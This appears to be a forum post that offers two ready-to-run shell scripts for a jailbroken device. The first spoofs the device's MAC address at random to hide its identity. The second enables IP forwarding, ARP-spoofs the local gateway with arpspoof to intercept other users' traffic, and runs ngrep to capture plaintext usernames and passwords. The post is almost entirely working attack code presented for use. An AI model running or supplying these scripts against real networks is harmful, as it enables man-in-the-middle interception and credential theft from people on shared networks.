Change your MAC first!
Code:
#!/bin/sh
#written by yjps3
#modified by fr0g 07.2009
#rnd code by vaporub
tmac_old=`ifconfig en0|grep ether|cut -d" " -f2`
#Use rnd MAC
NEW_MAC=`(date) | md5sum | sed -r 's/^(.{10}).*$/\1/; s/([0-9a-f]{2})/\1:/g; s/:$//;'`
/sbin/ifconfig en0 up lladdr 00:$NEW_MAC
tmac_new=`ifconfig en0|grep ether|cut -d" " -f2`
echo "MAC old $tmac_old"
echo "MAC new $tmac_new" Sniffing all packets in the broadcast domain
Code:
#!/bin/sh
#The script needs the following packets: dsniff gawk ngrep coreutils coreutils-bin shell-cmds system-cmds grep bigbosshackertools mobileterminal
tbroadcast=`ifconfig en0|grep broadcast|cut -d" " -f6`
tgateway=`netstat -rn|grep default|grep en0|awk '{print $2}'`
tsubnet=`ifconfig en0|grep broadcast|cut -d" " -f2|cut -d '.' -f1-3`
tlocalip=`ifconfig en0|grep broadcast|cut -d" " -f2`
tmac=`ifconfig en0|grep ether|cut -d" " -f2`
echo ""
echo "#####################"
echo "### dSniff script ###"
echo "#####################"
echo ""
echo "Gateway $tgateway"
echo "Local IP $tlocalip"
echo "Local MAC $tmac"
echo ""
echo "Start sniffing? (y,n)"
read tsniff
if [ $tsniff = y ]
then
sysctl -w net.inet.ip.forwarding=1
arpspoof -i en0 $tgateway > /dev/null 2>&1 &
ngrep 'USER|PASS|user|pass|username|password'
#ngrep 'USER|PASS|user|pass|username|password|uid|upw'|egrep -A1 "USER|PASS|user|pass|username|password|uid|upw"
#dsniff
sysctl -w net.inet.ip.forwarding=0
killall dsniff
killall arpspoof
killall ngrep
sleep 5
ps aux|egrep "arpspoof|dsniff|ngrep"|grep -v egrep
echo "Exit"
else
sysctl -w net.inet.ip.forwarding=0
killall dsniff
killall arpspoof
killall ngrep
sleep 5
ps aux|egrep "arpspoof|dsniff|ngrep"|grep -v egrep
echo "Exit"
fi
exit 0
Bookmarks